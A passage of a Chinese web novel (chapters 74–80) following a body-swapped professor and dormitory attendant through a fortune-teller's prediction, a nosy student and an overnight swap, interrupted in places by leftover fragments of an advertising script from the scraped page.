白幺幺愣了下,很快领会到他的意思,小声地问:“沈教授,是不是需要我避开下?” 白幺幺心里的小人已经连打好几个哈欠了。 身体都让人给用了两次,这男人对着她的情绪波动还是有点少呀! 失败,太失败了。 沈之牧难得摇头,“不用,一起听。” 说完,他把手机放桌上,按下接听键的同时还按下免提。 白幺幺:“???” 莫名有种不好预感。 她紧张的想说这怎么行,只是不待她开口,手机里已经有声音传出。 “小牧啊,你刚刚发给我的生辰八字,能把人带来给我当面看看吗?按照这八字测算,此人是短寿命格,活不过三十三,如果没算错的话,差不多就是前几天的事了。” “不过,我又按照你的意思,把你们的八字放一起测算,原本已是死局的命格竟然出现了一线生机,而且我还算出你两之间有很深的缘分,很可能是天定良缘。” “小牧,你出生时我就给你算过,你八字命局中婚姻宫缺失,恐终生无婚,不过现在看来,破局之人出现了,当然具体的我要见了人才能确认,你看要不哪天把人带来给我看看?” 沈教授,终生无婚? 天定良缘,沈教授和她? 白幺幺捂着嘴不让自己咳出声来,瞪大眼睛,憋红了脸,仿佛听到了什么天方夜谭。 至于此时白幺幺的真实心理则是一阵唏嘘,还以为是招摇撞骗的神棍,没想到真有两把刷子,不免勾起了她对玄学这块的好奇。 沈之牧表情一如既往的平静,仿佛没听到电话里说了什么。 等对方说完,他道了声谢,又和对方寒暄几句就结束通话,只字没提要不要带人亲自过去一趟。 包间里再次恢复安静,白幺幺无措得是恨不能马上有个地洞钻。 至于沈之牧,他从挂断电话后,目光就一直停留在白幺幺身上,眸光幽深,让人窥探不出半丝情绪,更遑论去探究他在想什么。 时间一分一秒的过着。 白幺幺如坐针毡,感觉时间好像被按下暂停键,不知不觉的,她把自己的呼吸也按下了暂停键。 “刚刚的话你也听到了,说说吧,你有什么想法?” 沈之牧的声音仿佛天籁之音,将所有的暂停键都按掉,时间又开始流淌了,差点没把自己憋死的白幺幺终于能呼吸了。 白幺幺摇头,再摇头,就差举手发誓了。 “沈教授,你放心,我对你没有非分之想的,不对,我这样的人,哪敢对你有啥非分之想。” “你千万别听那神……大师乱说,我和你能有啥天定姻缘,这不是在埋汰你吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白幺幺:……唉,做人好难呀,做个有自知之明的人更难呀! 不得不说,真是脸皮厚吃个够,脸皮薄吃不着。 剧情中,陈丽华就是脸皮够厚,不然就她那样的货色,也配染指沈教授这样的高岭之花。 虽然两人结婚后过着有名无实,相敬如宾的日子,但是陈丽华挂着沈太太名头,日子过得那叫一个风光无限。 就在白幺幺还想说点什么时,敲门声响起,紧接是询问的语句。 “老师,我能进去吗?” 门外是沈教授的学生? 想到这,白幺幺着急的站起身来,“沈教授,怎么办?我要不要先躲起来?” 说着,白幺幺已经开始在包间里寻找起能藏人的地方了。 可能是太慌乱了,白幺幺的手不小心碰倒桌上的玻璃杯,她反应过来想补救时已经来不及了。 玻璃杯落地,四分五裂。 门外的人听到了包间里的动静,着急推开门。 “老师,你没事吧?” 白幺幺身体僵住了,维持俯身捡东西的动作。 一秒。 两秒。 三秒。 她想也没想,一句话没说,低着头跑出包间。 因为担心包间里发生了什么意外,直接推门进来的唐文译,“……” 刚刚跑出去的是女人? 老师竟然大早上的和一个女人在咖啡馆…… 唐文译同学的八卦之心熊熊燃起,他有点迫不及待的问道:“老师,刚刚跑出去那个是谁?未来师娘吗?” 沈之牧只是给了他一个轻飘飘的眼神,起身丢下两个字也离开了。 “不是。” 不是吗? 唐文译摸了摸鼻子,仔细一回想刚刚进来时见到女人的样子。 人一直低着头没看到样貌,不过那穿衣打扮…… 嗯,怎么说……有点过分朴素了,的确和老师不怎么相配。 他懊恼的拍了拍头,怎么就光被老师单独和异性约见的画面震惊到,有些话不过脑就是说出来了。 第75章 禁欲教授与被霸凌小可怜的反转人生(14) 从咖啡馆离开,白幺幺同志并没有马上回学校,她这不得去准备准备第三次灵魂互穿时要用的东西。 想了想,她还给陈丽华发了信息,让她未来两个月别回宿舍,班她帮忙上了,只不过,她后面要请假一个月。 这个事情,白幺幺不怕陈丽华不答应,毕竟只要数学不是幼儿水平的,都懂得算。 两个月和一个月,无论怎么算都是陈丽华占了大便宜。 再说了,打工人就没几个爱上班,毕竟能做着自己喜欢的工作的人真的很少。 果然,还没过五分钟,白幺幺就收到陈丽华回复,她答应了。 大家可千万别以为白幺幺同志是善心大发,才干这种吃亏的买卖。 那必须不是的。 她和沈教授灵魂互换的情况要持续三个月,而她又是和陈丽华一个宿舍。 呵呵,白幺幺同志护食着了。 时间匆匆又过了三天。 期间白幺幺和沈之牧默契的都没再联系对方,日子仿佛在渐渐恢复平静。 白幺幺原本想动手先把陈雅恬给处理了,后面想了想,不能让某人太闲,总要给人冲冠一怒为红颜的机会,而她到时在后面补补刀就是了,反正她利息已经先收了。 中午阳光正烈。 自从白幺幺来了,就没自个儿在宿舍开过火。 离下课还有十分钟,白幺幺撑着大黑伞去食堂打包饭菜。 伞面很大,她又拿的低,从后面瞧着,头到肩膀处都被遮得严严实实。 唐文译和几个师兄刚好就走在白幺幺后面,中间隔着十来米。 原本正和几个师兄边走边讨论着实验的事,视线先是不经意被前方不远处的大黑伞吸引了。 可要收回视线时,唐文译脚步僵了下。 那裤子和鞋子…… 唐文译记得很清楚,前几天早上和老师在咖啡馆见面的女人就是穿这裤子和鞋子的。 也不知道是出于什么心理,唐文译和几个师兄说遇到熟人要去说点事,让他们自己先吃,就朝前面的背影小跑过去。 唐文译身高腿长的,很快就出现在白幺幺身侧。 想来个开场白,却被开头的称呼难住了。 不过只是犹豫了那么一秒,唐文译就扬着笑意道:“姐,你还记得我吗?咖啡馆里咱们见过,不过你一直低着头,后面还跑开了。” 白幺幺:“……” 察觉有人走到她身侧,白幺幺并没当一回事,毕竟有伞阻隔,两人之间还隔着五六十厘米。 而且这路又不是她家的,是大家的,人家爱走在哪个位置是人家的自由。 总不能自恋的觉得人家就是故意凑过来,目的不纯的。 没想到她还是可以自恋下的。 唐文译? 剧情男主。 从包间匆匆跑开时,白幺幺还是有抽空扫下进来人的脸,发现是唐文译时,脚步还愣了下。 白幺幺没有回话,跟没听到似的。 唐文译微怔了下,难道认错了人呢? 可是直觉告诉他这人就是咖啡馆和老师见面的人。 唐文译以为是对方没听到,伸手轻轻扯了下黑伞,想引起人的注意。 没办法,白幺幺整个脑袋都罩在黑伞里,唐文译想伸手在人面前晃晃都办不到。 把伞往旁边移了移,白幺幺看向唐文译,眼神里除了疑惑就是陌生。 “同学,有事吗?” 白幺幺依旧是戴着口罩,额头又有厚重的刘海盖着,整张脸就眼睛那块位置露出来。 唐文译虽和沈之牧一样,是走学术风,不过他的性格属于那种阳光大男孩类型的。 “姐,你对我一点印象都没有吗?声音,这总有印象吧!” 白幺幺茫然摇头,“同学,你是哪个宿舍的?” 唐文译:“???” “我住外面,没住宿的。” 唐文译先回答了白幺幺的问题,然后继续问道:“姐,你和老师认识吗?那天早上你离开的太匆忙了,我们都还没来得及互相打个招呼。” 白幺幺:……剧情里没说这男主是个小话唠呀! “老师?” “就是沈教授,沈之牧沈教授。” 白幺幺继续装傻充愣,“沈教授呀,我知道他,不过……我和他不认识。” “可是我明明看到你和老师在咖啡馆的包间,我不可能认错人的,那天你就是穿这身衣服,还有这双鞋的。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐文译始终坚信自己没认错人,特别是白幺幺这副不想承认的态度,让他更是生出浓浓的探究欲望。 没办法,学校里,还有圈子里,谁不知道老师最洁身自好了,除了亲人,和异性相处都是淡漠疏离。 咖啡馆是他朋友开的,过去找朋友时,听到老师在楼上包间,他就急急上楼找人。 没想到包间里有其他人,还是女人。 后来老师走了,他就去问咖啡馆的服务员,知道老师不仅在包间里和一个女人见面,两人还在包间里待了快一个多小时。 他简直震惊了有木有,根本无法想象他老师会和什么样一个女人在那样封闭的包间里待一个 多小时。 当时没能看清女人长什么样,唐文译觉得特遗憾。 这也是今天遇到了,唐文译忍不住冒昧跑上来搭讪的原因。 还有作为老师的得意门生,关心下老师的终身大事没毛病吧。 白幺幺:……失策了! 原主节俭那真是从生活的方方面面做起,衣食住行,没一样落下的。 衣服就那么几套,选的还那种宽松耐磨耐脏的,款式就是没款式,全是衣服配裤子,没有一件裙子。 鞋子也一样,春夏秋冬四个季节,原主总共就三双鞋子穿四季。 白幺幺有些慌的闪躲下眼神,“同学,你真的认错了,我也在这个学校工作,是学校的宿管阿姨,肯定知道沈教授的,不过我们真的不认识。” “你是学校的宿管……阿姨?!” 唐文译先是微微惊讶了下,而后又觉得自己瞎惊讶啥。 ……毕竟从对方的打扮不是很好看出来吗? 没办法,这个社会就是这样,先敬罗衣后敬人,先敬皮囊再敬魂。 白幺幺点了点头,“同学,你还有其他事吗?” 唐文译不自在的摇头,“没……没事了…姐……阿姨。” 他在心里暗自懊恼,好奇心害死猫呀! 他的老师和宿管……阿姨…… 那画面? 嗯,他完全不敢想象。 真的无关乎职业歧视啥的,主要是他老师太优秀,优秀得都没法想象要什么样的女人才能配得上他。 第76章 禁欲教授与被霸凌小可怜的反转人生(15) 白幺幺:“……” 一开始不还叫姐了,这男主真是一点都不可爱。 眼睛和脑子也都不好使,不然最后不会被陈雅恬骗到手。 想到这是沈教授的得意门生,白幺幺嘴角微不可察的勾了勾,心里乐呵了。 呵呵! 叫她阿姨是吧。 到时玩死你小子。 和唐文译分开后,白幺幺打包了自己爱吃的菜回宿舍。 午饭后,她回床上休息了四十几分钟。 不休息好,晚上怎么整活。 时间很快到了晚上,查完寝,一到时间,白幺幺就将宿舍楼的大门关上,然后回宿舍开始准备。 她将新买的折叠沐浴桶展开,清洗两遍,才开始往里面放温水,同时滴了精油进去。 没办法,白幺幺同志是个好同志。 她真的很不好意思让沈教授吃亏,所以总要礼尚往来下的。 她先冲洗好头发,然后用头巾包好,将整张脸完全露出来。 接着在外面简单冲洗下身体,然后穿上小衣衣以及小裤裤,白幺幺才跨坐到沐浴桶中。 热气缭绕,白幺幺的脸没一会儿就红扑扑的,诱人极了。 她在心里喟叹道:真舒服呀。 等她泡了有五分钟时,灵魂交换的前奏袭来,白幺幺一点不慌,不急不缓的微调下姿势。 已经第三次了,沈之牧那边正靠坐在床上看书,此时已经快十一点半,所以他也……不慌的。 可是等他恢复意识后,身体传来的感觉,让他全身僵硬,哪里敢睁开眼睛看。 他想要握拳,只是手指轻轻一动,他整个人像是触电般,颤动了下,人也霍的从沐浴桶里站起来。 也不知道是女人泡澡时把手搭在小腹位置的,还是晕倒时手滑落到那位置的。 沈之牧一开始没反应过来手已经不是自己的手了,等反应过来时,他整个人更凌乱了。 手指轻动,被他忽视掉的某些触感渐渐清晰,轰的一声,大脑中的弦被崩断。 不知道是不是身体泡澡时间过长,此刻,沈之牧觉得他脑袋晕乎乎,不知道下一刻该做什么。 这时浴室外传来悠扬的钢琴曲,沈之牧听到后,知道应该是白幺幺打电话过来了。 他闭着眼睛,打开浴室门,循着声音慢慢移动过去。 身上湿答答的,还在滴着水,浴室内和浴室外有一定的温差,沈之牧很快就感觉到一丝凉意。 也是这时,他才反应过来,自己应该先在旁边摸索下,看有没有浴袍或浴巾之类的,先将女人的身体裹起来。 站着不动的时候还能刻意去忽略那种感觉,可是走动时,胸前一颠一颠的,沈之牧呼吸一窒。 他想起了前天调查的资料内容,是关于女人从小到大的详细信息。 一段关于女人……少女时期的烦恼的文字浮现在他脑中,沈之牧停顿住脚步。 近在咫尺的手机还在响着,沈之牧却忽然觉得有点烫手。 从浴室走到这里,他一直闭着眼睛,可是走动时,不可避免的引起女人身上一些部位皮肤的互相摩擦,比如大腿内侧…… 即使不用手去触碰,都能想象到女人的皮肤有多滑嫩。 而且,闭着眼睛,其他感官感知能力变强了。 手机安静了,可没等几秒又开始响起来。 第一次拨号没人接,白幺幺心里乐开花了。 打了第二次还是没人接,白幺幺乐得在床上打了个滚。 灵魂互换这是不可避免的,也就沈教授是正人君子,换成其他男人在第一次灵魂互换时,就抓紧时间偷看,甚至还可能偷摸。 像这次灵魂互换,要五天才能换回来,期间沈教授可以不给白幺幺身体洗澡,那换衣服了,解决生理需求等等了。 而且吧,白幺幺可不想五天不洗澡。 白幺幺同志今晚整这么一出,不过是想掌握主动权,也顺便满足下自己的恶趣味。 等了一分钟,白幺幺继续打。 这次电话响了三声就被接起来。 “沈…沈教授。” “你终于接电话了,你……我…对不起……那么多天咱们都没再灵魂互换,我就想着或许以后不会再这样了,这几天我一直……一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直不敢洗澡的,怕……今晚……今晚我也是等到很晚了才…我还穿了那个……那个…我……我……” 白幺幺的声音慌乱中带着担心和委屈,隐隐夹杂着点哭腔,有些语无伦次的。 她此时陷入一种很矛盾的状态中,害怕,担忧,自责,羞愤,委屈。 即使没见到人,沈之牧却听出来了。 鼻尖萦绕着淡淡清香,沈之牧喉间涩涩,他能想象电话那头的人此时状态有多不好。 他想开口安慰人,可是没有立场,他甚至还是导致对方这样的关键原因之一。 电话那头没声音了,但很快响起低低的……啜泣声。 沈之牧顾不得去想对面的人是在用他的身体哭,一向冷静自持的人心里躁意滋生,有种想出去找人打一架的冲动。 “对不起。” 两人的灵魂互换非他本意,不过这事算起 来,的确女性比较吃亏。 而且想到女人是来自那样一个村子,以及所遭遇的事,沈之牧比谁都知道今晚这猝不及防的状况对女人来说伤害有多大。 “……沈教授……这……不关你的事的,你不用道歉。” “我没事的,就是以为不会再灵魂互换了,今晚又突然这样,有点被吓到。” “而且……而且我也是有做了防范才开始洗澡的,出去买了沐浴桶,就是以防万一又灵魂互换,把自己给摔了。” “泡澡时,我还穿了……小衣服,真没事的,现在都什么时代了,很多女性去泳池沙滩都是穿比……比基尼的,所以沈教授你别有什么想法和心理负担。” “而且灵魂互换这种事,没发生在自己身上,说出去谁信,我们也控制不了的。” 女人会反过来宽慰他,是沈之牧万万没想到的,莫名的心中躁意散去,替换上了某种他一时也道不清的情绪。 “你。” 沈之牧收了收拳头,“先闭着眼睛休息下,还有,相信我。” 两人什么时候会换过来,沈之牧不知道,如果能像之前两次那么快就换回来,那最好。 只是,也要做好其他可能的心理准备。 第77章 禁欲教授与被霸凌小可怜的反转人生(16) “啊?” “嗯,沈教授,我相信你。” 两人都默契的没挂断电话。 白幺幺知道今晚是换不回去了,听话的闭上眼睛。 熬夜是不可能熬夜的,她要睡觉了,这就是知道剧情的好处。 至于沈之牧那边,他闭着眼睛重新进到浴室,没找到浴袍,不过找到了浴巾。 依旧是闭着眼睛,他小心翼翼把浴巾裹到身上,尽管已经尽最大努力,他的手还是好几次不小心碰到女人的皮肤。 裹好浴巾,沈之牧并没有睁开眼睛,而是走到床边坐着。 上次考虑不周全,让人额头碰伤了,隔天带药过去咖啡馆,因为学生的突然到来,导致人慌慌张张跑了,药也没能给出去。 屋里很安静。 沈之牧第一次无聊到在数时间,还是一秒一秒的数。 在数数的同时,沈之牧还分心听着电话那头的动静。 白幺幺睡得很快,沈之牧在她一睡着就发现。 而白幺幺睡觉又比较不老实,沈之牧这边总能时不时听到点细微声响。 一会儿听到稀稀疏疏拉被子的声音,一会儿是翻身的动作声,一会儿又听到掀被子的声音…… 沈之牧:……果然是很信任他。 他都不知道要拿什么样的心态来对待这份信任。 他不是肤浅的人,这点是毋庸置疑的,可是在对待这具身体上,他开始不坦然了。 出生时就算没有那段批命,随着年龄渐长,他也发现自己对女人不感兴趣,对婚姻更不感兴趣。 终生无婚,没什么不好的。 可是现在,又给他冒出个天定良缘。 他不是会指着天喊出那句“我命由我不由天”的毛头小子。 沈之牧不数时间了,他开始想事情,没有方向的,想到什么是什么。 时间很快到了凌晨一点,两人迟迟没有换回去。 犹豫了下,沈之牧睁开眼睛,不过他直视前方,控制着视线不下移。 借着小夜灯的灯光,他很快就找到了吹风机。 如果真的一晚上都没换回来,夜里凉,沈之牧发现他没办法放任女人的头发一直这样湿着。 吹风机插上电,想到什么,沈之牧折返回来将还在通话中的手机挂断。 解开头上的干发巾,沈之牧有记忆开始,第一次触碰女人的头发,而且用的还不是自己的手。 有那么一瞬间,沈之牧都想嗤笑一声。 老天爷还真是眷顾他,灵魂互换,多么离奇荒诞。 他是不是还该感谢老天爷给他选择的灵魂互换对象是这么……一具身体。 无意识的,沈之牧真的冷嗤了一声。 手上的动作继续着,已经慢慢从生疏变得有章法,很轻柔。 女人的头发黑而浓密,平时总是扎个简单的低马尾。 将头发完全吹干,用了足足二十分钟,第一次做这样的事情,沈之牧展现出前所未有的耐心。 吹完头发,沈之牧拿着吹风机伫立在那,久久不动。 良久,似是给自己做好了心理建设,他闭着眼睛继续用吹风机将身上几处湿的地方吹干。 再之后,他就没其他动作了,继续回到床上坐着。 当然,考虑到身体不是自己的,怕人一换回来,就感冒,沈之牧拿起床上的被子裹到身上。 如果此时有人进到这宿舍来,看到沈之牧此时的形象,一定是先被吓到,然后就是骂神经病。 大半夜的闭着眼睛裹着被子坐床上不睡觉,可不就是神经病。 时间很快来到凌晨四点多。 放在身侧的手机响了,昏暗中,沈之牧闭着眼睛,却第一时间精准的摸到手机。 电话接通,女人紧张、懊恼、自责的声音响起。 “沈教授,对不起,我,我睡着了。” “这次怎么这么久,我们都还没换回来,要是……早上也没换回来要怎么办?我还有工作要做。” 白幺幺闭着眼睛,她还困着了。 说起敬业,白幺幺觉得她说第二,没人敢说第一。 白幺幺能想到的问题,沈之牧又怎么想不到。 而且工作问题还是次要,关键是女人的身体还…… 沈之牧皱眉,如果天亮之前不换回来,会很麻烦。 相较于白幺幺,沈之牧的声音就淡定多了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “别紧张,还有你不用和我说对不起,工作的事,我那边可以请假,至于你这边,早上需要做什么你和我说下。” 沈之牧的话像是有魔力般,白幺幺也跟着平静下来。 她开始边回忆边说:“我的工作比较简单,早上六点将宿舍楼的大门打开,吃完早饭后,开始巡视楼层,进行安全检查……” 说起自己的工作,女人似乎变得健谈,说话的声音语调都和他之前听到的不一样。 “沈教授,这就是我一天的工作,你记住了吗?” “嗯,记住了。” 沈之牧深吸了口气,“白女士,如果早上还没能换回来,我可能就要冒犯了。” 白幺幺:“?!!” 不是,你要冒犯就尽管冒 犯,真没必要如此郑重的通知她。 女人疑惑的声音传来,“沈教授,那个冒犯是指?” 沈之牧神色一僵,脸上泛起可疑的红晕。 “衣服。” 他言简意赅,有些东西不能说太白,点到为止大家都懂就行,不然只会两人都尴尬。 “啊,这。” 女人可能是睡一觉睡迷糊了,忘记睡前的事,经他这么一提醒才想起来灵魂互换前她是在泡澡的。 沉默。 两人都没再说话。 这种时候,彼此都需要做下心理建设。 当然,沈之牧的心理建设早一两个小时前就已经做好了,有些东西无法阻止只能坦然面对。 还有他不是个懦夫,责任与担当是刻在骨子里的。 沈之牧敛了下眸子又补充了一句,语气郑重。 “白女士,我会负责,如果你需要的话。” “不……不需要。” 白幺幺激动的说,“沈教授,我不需要你负责的,我们谁也不想发生这样的事,我们都是……都是迫不得已的,反正又不会有人知道,等到时恢复正常,我们就继续回归原来的生活。” 白幺幺清了清嗓子,装作不在意地说:“沈教授,现在都什么年代了,大家都是成年人,不要说我们只是互相看……看光光,就是我们真不小心滚……滚了床单……” 第78章 禁欲教授与被霸凌小可怜的反转人生(17) 白幺幺咬了咬牙,压下心中的羞耻感,“那也没什么大不了的,如今社会那什么一夜情的,已经越来越普遍,沈教授,你真没必要这样。” “时代在进步,我们不能越活越回去。不能像那个年代那样,女人落水被哪个男的救了,她的名声就有了瑕疵,只能嫁给救她的那个男人。” “沈教授,你是个文化人,你是不是也觉得这样的做法是不对的,对女人来说很不公平。” “还有那些意外被男人看光身体的女人,凭什么就会被贴上已经失去清白的标签,只能嫁给那个男人,嫁给其他人就会被人指指点点,被骂狐狸精、不检点、破鞋。” “那……那如果女人被哪个男人强了……是不是也只有嫁给那个强女干犯的这一条路……不然……不然就没有其他活路……” “沈教授,我知道你是好人,也是出于好意才说出这样的话,可是,在你看来,你觉得一个女人最重要的是什么?贞洁和清白真的比女人的生命还重要吗?” “沈教授,你,我以为你是不一样的,像你们这样的人,追求的不应该是高尚纯洁的爱情,谈的都是精神层面的东西,想找的也是灵魂伴侣。” “沈教授,你放心,就算没有发生灵魂互换这事,我也本来就不打算结婚,所以你不要有什么心理负担。” “左右不过是一具臭皮囊,沈教授又不是那种肤浅的男人,何必说出这种话来,既埋汰了自己,也埋汰了我。” 白幺幺的声音越来越激动,铿锵有力,她或许已经不知道自己在说什么了。 眼泪不知什么时候已经淌满脸,只不过她说话的声音竟没染上半丝哭腔。 沈之牧一直安静的听着,这种时候,他也只能做个安静的听众。 女人的话像倒豆子般,一句一句噼里啪啦的砸向他心头。 神奇的是,他竟然能共情女人情绪,或许该归功于他事先看了女人的资料。 沈之牧知道他要说点什么,或者解释下,可是他喉咙像被堵住了似的。 最后只听女人又说了句什么,就把电话挂了。 沈之牧第一次被人挂电话,还是一个异性。 而女人最后说的话那句话是什么呢? “沈教授,灵魂互换时,你该怎么做就怎么做,我相信你。” 短短一句话,却是沈之牧有生之年听过“最重”的一句话了。 白幺幺挂完电话,心里不复以往的欢乐,闷闷的。 忧郁自闭了会儿,白幺幺倒回床上,心情不好,那就睡一觉,睡一觉不行就睡两觉,睡醒了就都好了。 至于学校宿舍那边的工作,白幺幺一点都不担心,她相信沈教授能完成得很好的。 等到快八点时候,白幺幺才悠悠转醒。 她摸出手机给沈之牧打电话,一副冷静下来后的懊恼模样。 手机就握在沈之牧手上,电话很快被接起来。 白幺幺第一时间就是道歉,“抱歉,沈教授,我早上有点失态了,还有我嘴笨不太会说话,说了些乱七八糟的,你别放心上,不过我最后说的话是真心的。” 沈之牧:……相信他的那句吗? 脑中不受控制的浮现起早上穿衣服的场景,手指莫名的开始发烫。 他从早上开始已经不知道自嘲了几次,原来他骨子里也是个伪君子,短短半个小时里,他几度陷入自我怀疑和自我唾弃中。 听到女人的话,他又想自嘲嗤笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,只不过被他极力隐忍下来,连同心虚不自在的情绪。 他知道这种时候,女人不需要这些,他需要的是他的平静坦然。 沈之牧语气平静,“我知道,我没放心上。” 白幺幺听了才放心的舒了口气,“那,沈教授,我们等下要怎么安排,如果今天一天都没换回去?” “我们见个面吧。” “好,好啊。” 沈之牧沉默了下,说:“我回去,二十分钟后到,其他的等见面了谈。” “你回来?” 白幺幺先是愣了愣,而后很快反应过来。 沈之牧简单的回了个“嗯。” 考虑到之前两人约在外面被人打扰到的情况,而现在又是白天,两人身体还处在互换中,他回去是最好的选择。 “行,行的,那你吃早餐了吗?没有的话,我待会看看你家厨房里有什么,随便做点,你回来就能吃上了。” 话下意识就脱口而出,反应过来后,白幺幺就后悔了,想补救,“那个,我……” “我还没吃,冰箱里每天都有人送新鲜食材过来,你随便看着做。” 沈之牧压下心中异样的情绪,继续道:“你看看自己喜欢吃什么,如果冰箱里没有你喜欢吃的,想吃什么可以打电话叫人送过来,电话号码我手机有存着……” 白幺幺忙打断沈之牧的话,“不用,不用那么麻烦的,我什么都吃,不挑食的。” “……嗯。” 沈之牧又道:“等下见。” 白幺幺有些紧张的结巴道:“好……好的,沈教授……等…等下见。” 白幺幺下床,进浴室从柜子里找出一套新的洗漱用品,洗漱 第79章 禁欲教授与被霸凌小可怜的反转人生(18) 沈之牧住的小区安保很好,在小区门口,因为已经提前让白幺幺发信给小区保安打过招呼,他只是停下来做个身份登记就被放行了。 咦,那是? 唐文译早上没课,此时正在阳台上边吃早餐边漫不经心欣赏小区中庭的风景。 一道不可能出现在小区的熟悉身影进入了他的视线中。 衣服是换了套没错,可是风格一模一样,鞋子没换,脸上还是戴着口罩,不是那个宿管……阿姨还能是谁。 唐文译早餐也不吃了,站起身来把脑袋探出阳台,想看人最终进了哪栋楼。 “我去!” 见到人进了他老师住的那栋楼,唐文译不淡定了。 世上哪里有那么巧合的事,这个宿管阿姨绝对和老师认识。 只是认识就认识呗,干嘛要说不认识? 唐文译同学心里那叫一个抓心挠肝,蠢蠢欲动,他现在到底要不要去老师那里? 这个小区离学校不远不近,小区各方面都很好,他就是因为老师住在这里,才让家里也在这里给他买了套房。 只不过他和老师住在不同栋楼,因为老师喜静,所以即使住在同一个小区,他目前也就去过老师那里一次。 头一次回自己住的地方需要按门铃,等待里面的人过来给他开门,这种体验挺新奇的。 沈之牧浅浅勾了下唇。 白幺幺一直坐在客厅的沙发等待,时不时的总是会忍不住往门口方向看。 不安和紧张完全表现在脸上,毕竟是两人在灵魂互换的情况下第一次见面,和讲电话是完全不一样的感觉。 门铃一响,白幺幺如同弹簧似的从沙发上跳下地,跑着过去开门。 一时都忘记应该先看下来的人是谁,再开门。 不过,没意外的,门口站着的就是她,或者说沈之牧。 这种能和自己的身体面对面相见,是和照镜子完全不一样的视觉冲击。 白幺幺站在门口盯着自己的身体看得都有些失神了。 还是沈之牧出声提醒道:“先进屋。” “哦哦,好的。” 白幺幺让开身,让沈之牧先进来。 等人进来后,她忙关上门,心里则忍不住感叹沈教授的定力。 开门见到她后,那表情要多淡定就多淡定,眼睛都不带眨一下的。 沈之牧一进屋就先将口罩脱下来,然后朝厨房走去。 白幺幺见了,也忙跟着进去。 沈之牧说:“我先教你这些东西的用法。” 白幺幺点头,“行呀。” 其实再高端的家用产品设计生产出来都是为了给人使用,更好的服务人的,使用操作当然是越简单越容易上手越好。 沈之牧教的很耐心,白幺幺很认真的在听,不过偶尔还是会分神。 没办法,谁让沈之牧顶着的是她的脸。 原来同样一具身体,里面的灵魂不一样了,皮囊还是那具皮囊,可气质神态,说话的语气语调却完全大变样。 沈之牧哪里没发现她的分神,只不过并没有说什么,其实他的心思同样不平静,只不过是更善于隐藏罢了。 “怎么样,还需要再教一遍吗?” “不用,我都记住了。” 沈之牧走过去打开冰箱,回头问道:“早上想吃什么?我来做。” 白幺幺忙走过去,“我随便都行,沈教授你想吃什么?还是我来煮吧。” 沈之牧往旁边让了让,“我也随便,你看着做,我在旁边给你打下手。” 白幺幺忙摆手,“不用了,我自己一个人能行的,沈教授你先到外面等着吧。” 沈之牧沉默了下,“行,有需要帮忙你喊我下。” 他看出白幺幺的拘谨和不自在。 这次灵魂互换的情况不知道要持续多久,以后还会不会继续发生没人知道,所以让人熟悉下厨房很有必要。 这也是沈之牧在白幺幺抢着要做早餐以及提出拒绝他帮忙时,都没继续坚持他的提议的原因。 出了厨房,路过客厅时,他拿起茶几上的手机后没在客厅停留,而是去了书房。 原主厨艺只能算还行,味道不惊艳,就是那种普通的家常味。 白幺幺是个好吃的,上个世界家里厨师是御厨后代,她在家不忙时会跟着学几手。 在吃上,有条件的话,她一点也不想委屈自己。 不到半个小时,热腾腾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的面出锅,旁边烙的鸡蛋饼也好了。 白幺幺先把鸡蛋饼盛到盘子上,又盛了两碗面,将东西放到托盘上,一起端出去。 把东西放到餐桌上摆好,白幺幺去客厅想喊人吃饭。 没看到人,想着东西要趁热吃才好吃,白幺幺没过多纠结开始一间房一间房找过去。 当然,正主回来了,她肯定不能没礼貌的直接推门进去找。 沈之牧这套房子很大,不过也才三间房。 白幺幺先到卧室门口敲门,同时出声询问,“沈教授,你在里面吗?早餐做好了。” 重复了三遍,里面没有回应,她继续到下一间房门前,然后还是同一套操作。 白幺幺敲的 第二道门就是书房,她才敲两下门,询问的话都没说完,里面就传出了一声“进”。 白幺幺推开门,并没有进去,只是探进半个脑袋,“沈教授,我煮了面,不趁热吃的话,面会坨的。” “好的,我知道了。” 沈之牧说着起身往门口走去。 白幺幺见人走过来的,忙将门开大些,然后等着人出来后,两人一起去餐厅。 还没走近,沈之牧就闻到了浓郁的香气,眼眸里闪过一丝讶异。 两人坐下后,并没有说话,各自端起面前的面吃起来。 对于自己的手艺,白幺幺能有什么不满意的。 好的食材加上她的手艺,早上这一顿,是她来到这个世界吃得最满足的了。 沈之牧吃饭动作很优雅,即使是吃面条,也尽量没发出任何声响。 白幺幺就不一样了,她是吸溜着吃的。 有些地方,有些家庭可能会觉得这样吃很没礼貌没素质,不过白幺幺倒是没想那么多,吃个面而已,怎么舒服怎么来。 当然,如果是在外面,还是要适当看场合注意下就是了,做人有时候也不能太我行我素,不然容易吃亏。 至于现在白幺幺就是故意的,主要还是恶趣味犯了呗。 也不看看她现在是顶着谁的脸在做这个动作的。 白幺幺每吸溜一口面时,都会偷偷去打量对面人的反应,只是让她失望了,对方吃个面竟然吃出了与世隔绝的错觉。 第80章 禁欲教授与被霸凌小可怜的反转人生(19) 一次两次的,白幺幺就像是个想引起大人注意的孩子,行为幼稚,最重要的是还没效果。 又抬头看了人一眼,白幺幺无趣的撇了撇嘴,也低头专心吃起来。 在她低头的瞬间,没注意到沈之牧抬头看了她一眼,眉眼竟罕见的染上丝丝缕缕笑意。 两人吃得很慢,在这一点上算是很合拍,都是细嚼慢咽的,然后差不多时间先后吃完。 沈之牧早吃完一会儿,但他并没有先起身离开,等白幺幺吃完后,第一时间主动提出碗筷他来收和洗。 白幺幺只是犹豫了那么一秒,就没和人抢活干。 面她煮的,碗沈之牧来洗,完全没毛病。 端着碗筷进厨房时,沈之牧回头看向白幺幺,“面很好吃。” 白幺幺回了个腼腆的笑,心里则道:必须好吃呀,也不看看她师承谁。 